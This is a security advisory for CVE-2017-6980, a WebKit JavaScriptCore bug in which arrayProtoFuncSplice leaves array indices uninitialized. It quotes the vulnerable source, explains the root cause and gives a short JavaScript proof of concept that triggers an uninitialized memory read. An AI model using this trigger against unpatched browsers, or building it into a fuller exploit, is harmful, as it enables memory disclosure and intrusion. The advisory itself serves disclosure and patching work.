WebKit JSC arrayProtoFuncSplice Initialization Fail

Credit: lokihardt
Risk: Medium
Local: No
Remote: Yes

CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

WebKit: JSC: arrayProtoFuncSplice doesn't initialize all indices. CVE-2017-6980 Here's a snippet of arrayProtoFuncSplice. EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec) { ... result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount); if (!result) return JSValue::encode(throwOutOfMemoryError(exec, scope)); for (unsigned k = 0; k < actualDeleteCount; ++k) { JSValue v = getProperty(exec, thisObj, k + actualStart); RETURN_IF_EXCEPTION(scope, encodedJSValue()); if (UNLIKELY(!v)) { continue; } result->initializeIndex(vm, k, v); } ... } |JSArray::tryCreateForInitializationPrivate| will return an uninitalized JSArray. So the next routine must clear its all indices. But the routine skips holes in |thisObj|. This is fine under normal circumstances because the type of |result| will be ArrayWithUndecided, unless you're having a bad time. We can force |result|'s type to ArrayWithSlowPutArrayStorage by using |JSGlobalObject::haveABadTime|. PoC: function gc() { for (let i = 0; i < 0x10; i++) new ArrayBuffer(0x1000000); } Array.prototype.__defineGetter__(0x1000, () => 1); gc(); for (let i = 0; i < 0x100; i++) { new Array(0x100).fill(1234.5678); } gc(); print(new Array(0x100).splice(0)); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com


Back to Top